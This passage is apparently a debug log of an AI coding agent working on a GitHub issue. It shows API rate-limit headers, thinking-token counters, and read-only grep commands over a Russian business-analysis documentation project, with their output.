\"seven_day\",\n[2026-09-29T07:47:27.061Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:47:27.066Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:47:27.071Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:47:27.074Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:47:27.078Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:47:27.081Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:47:27.086Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:47:27.089Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:47:27.094Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:47:27.097Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:47:27.101Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:47:27.106Z] [STDOUT]   \"request-id\": \"req_011CfXMuh4HkK83adz9zkiAR\",\n[2026-09-29T07:47:27.110Z] [STDOUT]   \"traceresponse\": \"00-856bdc37e0a36cf446d7371ba5766532-91f3d586d4dfa1dd-01\",\n[2026-09-29T07:47:27.117Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:47:27.122Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:47:27.126Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:47:27.131Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:47:27.138Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:47:27.141Z] [STDOUT]   \"cf-ray\": \"a42961376c9cdbb5-FRA\",\n[2026-09-29T07:47:27.146Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:47:27.150Z] [STDOUT] [log_f5cfda] response parsed {\n[2026-09-29T07:47:27.155Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:27.161Z] [STDOUT]   status: 200,\n[2026-09-29T07:47:27.166Z] [STDOUT]   body: X {\n[2026-09-29T07:47:27.169Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:47:27.173Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:47:27.175Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:47:27.179Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:47:27.184Z] [STDOUT]     },\n[2026-09-29T07:47:27.188Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:47:27.194Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:47:27.199Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:47:27.203Z] [STDOUT]   },\n[2026-09-29T07:47:27.207Z] [STDOUT]   durationMs: 850,\n[2026-09-29T07:47:27.210Z] [STDOUT] }\n[2026-09-29T07:47:27.356Z] [INFO] {\n[2026-09-29T07:47:27.356Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:47:27.356Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:47:27.356Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:47:27.356Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:47:27.356Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:27.356Z] [INFO]   \"uuid\": \"ea9d50e7-fb1e-4c82-8a63-9ae3b5e499dd\"\n[2026-09-29T07:47:27.356Z] [INFO] }\n[2026-09-29T07:47:28.442Z] [INFO] {\n[2026-09-29T07:47:28.442Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:47:28.442Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:47:28.442Z] [INFO]   \"estimated_tokens\": 150,\n[2026-09-29T07:47:28.442Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:47:28.442Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:28.442Z] [INFO]   \"uuid\": \"f5a88693-c5b7-4820-a53e-3844ddbf24bf\"\n[2026-09-29T07:47:28.442Z] [INFO] }\n[2026-09-29T07:47:29.740Z] [INFO] {\n[2026-09-29T07:47:29.740Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:47:29.740Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:47:29.740Z] [INFO]   \"estimated_tokens\": 250,\n[2026-09-29T07:47:29.740Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:47:29.740Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:29.740Z] [INFO]   \"uuid\": \"3bdc2f9e-5f4f-4af4-8535-9a1596a046c8\"\n[2026-09-29T07:47:29.740Z] [INFO] }\n[2026-09-29T07:47:31.097Z] [INFO] {\n[2026-09-29T07:47:31.097Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:47:31.097Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:47:31.097Z] [INFO]   \"estimated_tokens\": 350,\n[2026-09-29T07:47:31.097Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:47:31.097Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:31.097Z] [INFO]   \"uuid\": \"927f998c-4216-4785-a681-da3ee1792a64\"\n[2026-09-29T07:47:31.097Z] [INFO] }\n[2026-09-29T07:47:32.543Z] [INFO] {\n[2026-09-29T07:47:32.543Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:47:32.543Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:47:32.543Z] [INFO]   \"estimated_tokens\": 500,\n[2026-09-29T07:47:32.543Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:47:32.543Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:32.543Z] [INFO]   \"uuid\": \"5eb3cc80-5836-4fa4-9de9-b8b78c03516b\"\n[2026-09-29T07:47:32.543Z] [INFO] }\n[2026-09-29T07:47:33.840Z] [INFO] {\n[2026-09-29T07:47:33.840Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:47:33.840Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:47:33.840Z] [INFO]   \"estimated_tokens\": 600,\n[2026-09-29T07:47:33.840Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:47:33.840Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:33.840Z] [INFO]   \"uuid\": \"e686157c-b9cc-42f3-ad54-7a29e5326ada\"\n[2026-09-29T07:47:33.840Z] [INFO] }\n[2026-09-29T07:47:34.994Z] [INFO] {\n[2026-09-29T07:47:34.994Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:47:34.994Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:47:34.994Z] [INFO]   \"estimated_tokens\": 700,\n[2026-09-29T07:47:34.994Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:47:34.994Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:34.994Z] [INFO]   \"uuid\": \"4555c630-7ab5-4f78-a141-0698692fde66\"\n[2026-09-29T07:47:34.994Z] [INFO] }\n[2026-09-29T07:47:36.193Z] [INFO] {\n[2026-09-29T07:47:36.193Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:47:36.193Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:47:36.193Z] [INFO]   \"estimated_tokens\": 850,\n[2026-09-29T07:47:36.193Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:47:36.193Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:36.193Z] [INFO]   \"uuid\": \"db7a3bb3-e4c8-4f95-908d-7b77e4d69088\"\n[2026-09-29T07:47:36.193Z] [INFO] }\n[2026-09-29T07:47:37.591Z] [INFO] {\n[2026-09-29T07:47:37.591Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:47:37.591Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:47:37.591Z] [INFO]   \"estimated_tokens\": 950,\n[2026-09-29T07:47:37.591Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:47:37.591Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:37.591Z] [INFO]   \"uuid\": \"cd9a0422-887a-42b7-b352-bb8001a9be36\"\n[2026-09-29T07:47:37.591Z] [INFO] }\n[2026-09-29T07:47:38.652Z] [INFO] {\n[2026-09-29T07:47:38.652Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:47:38.652Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:47:38.652Z] [INFO]   \"estimated_tokens\": 1050,\n[2026-09-29T07:47:38.652Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:47:38.652Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:38.652Z] [INFO]   \"uuid\": \"bbb72178-9afe-47af-8fc8-de7128476454\"\n[2026-09-29T07:47:38.652Z] [INFO] }\n[2026-09-29T07:47:39.943Z] [INFO] {\n[2026-09-29T07:47:39.943Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:47:39.943Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:47:39.943Z] [INFO]   \"estimated_tokens\": 1200,\n[2026-09-29T07:47:39.943Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:47:39.943Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:39.943Z] [INFO]   \"uuid\": \"afbe171c-0c61-4e10-b71c-87d381416ff3\"\n[2026-09-29T07:47:39.943Z] [INFO] }\n[2026-09-29T07:47:40.499Z] [INFO] {\n[2026-09-29T07:47:40.499Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:47:40.499Z] [INFO]   \"message\": {\n[2026-09-29T07:47:40.499Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:47:40.499Z] [INFO]     \"id\": \"msg_011CfXMuhoCEVvue22y5Y4Nc\",\n[2026-09-29T07:47:40.499Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:47:40.499Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:47:40.499Z] [INFO]     \"content\": [\n[2026-09-29T07:47:40.499Z] [INFO]       {\n[2026-09-29T07:47:40.499Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:47:40.499Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:47:40.499Z] [INFO]         \"signature\": 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[INFO]       }\n[2026-09-29T07:47:40.499Z] [INFO]     ],\n[2026-09-29T07:47:40.499Z] [INFO]     \"container\": null,\n[2026-09-29T07:47:40.499Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:47:40.499Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:47:40.499Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:47:40.499Z] [INFO]     \"usage\": {\n[2026-09-29T07:47:40.499Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:47:40.499Z] [INFO]       \"cache_creation_input_tokens\": 343,\n[2026-09-29T07:47:40.499Z] [INFO]       \"cache_read_input_tokens\": 52018,\n[2026-09-29T07:47:40.499Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:47:40.499Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:47:40.499Z] [INFO]         \"ephemeral_1h_input_tokens\": 343\n[2026-09-29T07:47:40.499Z] [INFO]       },\n[2026-09-29T07:47:40.499Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:47:40.499Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:47:40.499Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:47:40.499Z] [INFO]     },\n[2026-09-29T07:47:40.499Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:47:40.499Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:47:40.499Z] [INFO]     \"context_management\": null\n[2026-09-29T07:47:40.499Z] [INFO]   },\n[2026-09-29T07:47:40.499Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:47:40.499Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:40.499Z] [INFO]   \"uuid\": \"5eab2e42-0471-4780-91d0-e979955a22f2\",\n[2026-09-29T07:47:40.499Z] [INFO]   \"timestamp\": \"2026-09-29T07:47:40.490Z\",\n[2026-09-29T07:47:40.499Z] [INFO]   \"request_id\": \"req_011CfXMuh4HkK83adz9zkiAR\"\n[2026-09-29T07:47:40.499Z] [INFO] }\n[2026-09-29T07:47:41.969Z] [INFO] {\n[2026-09-29T07:47:41.969Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:47:41.969Z] [INFO]   \"message\": {\n[2026-09-29T07:47:41.969Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:47:41.969Z] [INFO]     \"id\": \"msg_011CfXMuhoCEVvue22y5Y4Nc\",\n[2026-09-29T07:47:41.969Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:47:41.969Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:47:41.969Z] [INFO]     \"content\": [\n[2026-09-29T07:47:41.969Z] [INFO]       {\n[2026-09-29T07:47:41.969Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:47:41.969Z] [INFO]         \"id\": \"toolu_01SWTD1km18u4GBGY5Q7XyGm\",\n[2026-09-29T07:47:41.969Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:47:41.969Z] [INFO]         \"input\": {\n[2026-09-29T07:47:41.969Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process; grep -rln \\\"V-DEV\\\\|V-CONTRACT\\\" . | head; grep -n \\\"V-DEV\\\\|V-CONTRACT\\\\|V-APPROVE\\\\|V-BIZ\\\" ba-meta-model/*.md | cut -c1-250 | head -12\",\n[2026-09-29T07:47:41.969Z] [INFO]           \"description\": \"Check projection implementation status\"\n[2026-09-29T07:47:41.969Z] [INFO]         },\n[2026-09-29T07:47:41.969Z] [INFO]         \"caller\": {\n[2026-09-29T07:47:41.969Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:47:41.969Z] [INFO]         }\n[2026-09-29T07:47:41.969Z] [INFO]       }\n[2026-09-29T07:47:41.969Z] [INFO]     ],\n[2026-09-29T07:47:41.969Z] [INFO]     \"container\": null,\n[2026-09-29T07:47:41.969Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:47:41.969Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:47:41.969Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:47:41.969Z] [INFO]     \"usage\": {\n[2026-09-29T07:47:41.969Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:47:41.969Z] [INFO]       \"cache_creation_input_tokens\": 343,\n[2026-09-29T07:47:41.969Z] [INFO]       \"cache_read_input_tokens\": 52018,\n[2026-09-29T07:47:41.969Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:47:41.969Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:47:41.969Z] [INFO]         \"ephemeral_1h_input_tokens\": 343\n[2026-09-29T07:47:41.969Z] [INFO]       },\n[2026-09-29T07:47:41.969Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:47:41.969Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:47:41.969Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:47:41.969Z] [INFO]     },\n[2026-09-29T07:47:41.969Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:47:41.969Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:47:41.969Z] [INFO]     \"context_management\": null\n[2026-09-29T07:47:41.969Z] [INFO]   },\n[2026-09-29T07:47:41.969Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:47:41.969Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:41.969Z] [INFO]   \"uuid\": \"6f075818-f3a6-49a7-8ba9-3a77ef3e3265\",\n[2026-09-29T07:47:41.969Z] [INFO]   \"timestamp\": \"2026-09-29T07:47:41.960Z\",\n[2026-09-29T07:47:41.969Z] [INFO]   \"request_id\": \"req_011CfXMuh4HkK83adz9zkiAR\",\n[2026-09-29T07:47:41.969Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:47:41.969Z] [INFO]     \"toolu_01SWTD1km18u4GBGY5Q7XyGm\": {\n[2026-09-29T07:47:41.969Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process; grep -rln \\\"V-DEV\\\\|V-CONTRACT\\\" . | head; grep -n \\\"V-DEV\\\\|V-CONTRACT\\\\|V-APPROVE\\\\|V-BIZ\\\" ba-meta-model/*.md | cut -c1-250 | head -12\",\n[2026-09-29T07:47:41.969Z] [INFO]       \"description\": \"Check projection implementation status\"\n[2026-09-29T07:47:41.969Z] [INFO]     }\n[2026-09-29T07:47:41.969Z] [INFO]   }\n[2026-09-29T07:47:41.969Z] [INFO] }\n[2026-09-29T07:47:43.637Z] [INFO] {\n[2026-09-29T07:47:43.637Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:47:43.637Z] [INFO]   \"message\": {\n[2026-09-29T07:47:43.637Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:47:43.637Z] [INFO]     \"id\": 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V4[\\\"V-CONTRACT\\\"]\\nba-meta-model/40-practice-and-cases.md:110:5. **\u041f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u043d\u0435 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\u043c\u0438.** `V-BIZ`, `V-APPROVE`,\\nba-meta-model/40-practice-and-cases.md:111:   `V-DEV` \u2014 \u0442\u0440\u0438 \u0447\u0442\u0435\u043d\u0438\u044f \u043e\u0434\u043d\u043e\u0433\u043e `A-BCREQ`. \u0412\u0435\u0440\u0441\u0438\u044f 0.4 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 \u043a \u043d\u0438\u043c \u0447\u0435\u0442\u0432\u0451\u0440\u0442\u043e\u0435,\\nba-meta-model/40-practice-and-cases.md:112:   `V-CONTRACT` \u2014 \u0447\u0442\u0435\u043d\u0438\u0435 \u0441\u0442\u043e\u0440\u043e\u043d\u043e\u0439 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430, \u0433\u0434\u0435 `S-FR` \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043a\u0430\u043a\",\n[2026-09-29T07:47:43.782Z] [INFO]         \"is_error\": false\n[2026-09-29T07:47:43.782Z] [INFO]       }\n[2026-09-29T07:47:43.782Z] [INFO]     ]\n[2026-09-29T07:47:43.782Z] [INFO]   },\n[2026-09-29T07:47:43.782Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:47:43.782Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:43.782Z] [INFO]   \"uuid\": \"7f9e5bdc-153c-45ff-b304-c2fdc35ded09\",\n[2026-09-29T07:47:43.782Z] [INFO]   \"timestamp\": \"2026-09-29T07:47:43.744Z\",\n[2026-09-29T07:47:43.782Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:47:43.782Z] [INFO]     \"stdout\": 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V4[\\\"V-CONTRACT\\\"]\\nba-meta-model/40-practice-and-cases.md:110:5. **\u041f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u043d\u0435 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\u043c\u0438.** `V-BIZ`, `V-APPROVE`,\\nba-meta-model/40-practice-and-cases.md:111:   `V-DEV` \u2014 \u0442\u0440\u0438 \u0447\u0442\u0435\u043d\u0438\u044f \u043e\u0434\u043d\u043e\u0433\u043e `A-BCREQ`. \u0412\u0435\u0440\u0441\u0438\u044f 0.4 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 \u043a \u043d\u0438\u043c \u0447\u0435\u0442\u0432\u0451\u0440\u0442\u043e\u0435,\\nba-meta-model/40-practice-and-cases.md:112:   `V-CONTRACT` \u2014 \u0447\u0442\u0435\u043d\u0438\u0435 \u0441\u0442\u043e\u0440\u043e\u043d\u043e\u0439 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430, \u0433\u0434\u0435 `S-FR` \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043a\u0430\u043a\",\n[2026-09-29T07:47:43.782Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:47:43.782Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:47:43.782Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:47:43.782Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:47:43.782Z] [INFO]   }\n[2026-09-29T07:47:43.782Z] [INFO] }\n[2026-09-29T07:47:45.380Z] [INFO] {\n[2026-09-29T07:47:45.380Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:47:45.380Z] [INFO]   \"message\": {\n[2026-09-29T07:47:45.380Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:47:45.380Z] [INFO]     \"content\": [\n[2026-09-29T07:47:45.380Z] [INFO]       {\n[2026-09-29T07:47:45.380Z] [INFO]         \"tool_use_id\": \"toolu_018gUnscuicjBKefoxCpUfAW\",\n[2026-09-29T07:47:45.380Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:47:45.380Z] [INFO]         \"content\": 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\u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u043d\u0435 \u0432 \u043d\u0435\u0439, \u0430 \u0432\u043e\u043a\u0440\u0443\u0433 \u043d\u0435\u0451:\\n33-\u043e\u0431\u0449\u0435\u043d\u0438\u0435, \u043d\u0430\u0432\u0438\u0433\u0430\u0446\u0438\u044f, \u043f\u043e\u0438\u0441\u043a \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432, \u0441\u043c\u044b\u0441\u043b\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0438 \u0432\u044b\u0434\u0430\u0447\u0430\\n34-\u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u043e\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0441\u0435\u0439\u0447\u0430\u0441 \u0434\u0435\u0440\u0436\u0430\u0442\u0441\u044f \u043d\u0430 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0438 \u043c\u043e\u0434\u0435\u043b\u0438 \u0438 \u043d\u0430\\n35-\u0442\u0435\u043a\u0441\u0442\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438, \u0430 \u043d\u0435 \u043d\u0430 \u043a\u043e\u0434\u0435.\\n36-\\n--\\n128:| 6 | \u0413\u0430\u0440\u0430\u043d\u0442\u0438\u044f \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432 | \u0414\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 Working, \u0441\u0431\u043e\u0440\u043a\u0430 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 Release; \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u043d\u043e | \u0412\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0433\u043e \u043e\u0442\u0440\u0435\u0437\u043a\u0430 | [\u0413-16](#\u0433-16), [\u0413-17](#\u0433-17), [\u0413-18](#\u0433-18) |\\n129-\\n130-## \u041c\u0430\u0442\u0440\u0438\u0446\u0430 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\\n131-\\n132-\u0421\u0441\u044b\u043b\u043a\u0438 \u0432\u0435\u0434\u0443\u0442 \u043d\u0430 `main`. \u041a\u043e\u0440\u043e\u0442\u043a\u0438\u0435 \u043e\u0431\u043e\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f:\\n--\\n165:| \u0413-14 | \u041f\u043e\u043b\u0435 `temperature: 0.1` \u0432 \u0444\u0430\u0439\u043b\u0430\u0445 \u043f\u0430\u043a\u0435\u0442\u0430 \u0434\u0435\u043b\u0430\u0435\u0442 \u043e\u0442\u0432\u0435\u0442\u044b \u043c\u043e\u0434\u0435\u043b\u0438 \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u044b\u043c\u0438 | `temperature` \u0441\u0442\u043e\u0438\u0442 \u0432 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 [`.clinerules/01-package.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/.clinerules/01-package.md#L5) \u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u0444\u0430\u0439\u043b\u043e\u0432. \u042d\u0442\u043e \u043c\u0435\u0442\u043a\u0430 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u043f\u043e \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0430\u043c \u0425\u0430\u0431\u0430, \u0430 \u043d\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u043c\u043e\u0434\u0435\u043b\u0438: Cline v3 \u0438\u0437 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0447\u0438\u0442\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e [`paths`](https://github.com/cline/cline/blob/e1bdeeff68e95734901c7a4b3a31753bae54a634/apps/vscode/src/core/context/instructions/user-instructions/rule-conditionals.ts#L77-L106), v4 \u2014 \u0442\u043e\u043b\u044c\u043a\u043e [`name`, `disabled`, `enabled`](https://github.com/cline/cline/blob/787ad1b077d8b697892dc3bfcd42e7c65b88789e/sdk/packages/core/src/extensions/config/user-instruction-config-loader.ts#L383-L408) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u041c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c**: \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u043e\u0442\u0432\u0435\u0442\u0430 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435 \u043d\u0430\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0442\u0435\u043a\u0441\u0442\u043e\u043c \u0432 \u0444\u0430\u0439\u043b\u0430\u0445; \u0435\u0451 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0437\u0430\u0434\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u043c\u043e\u0434\u0435\u043b\u0438. 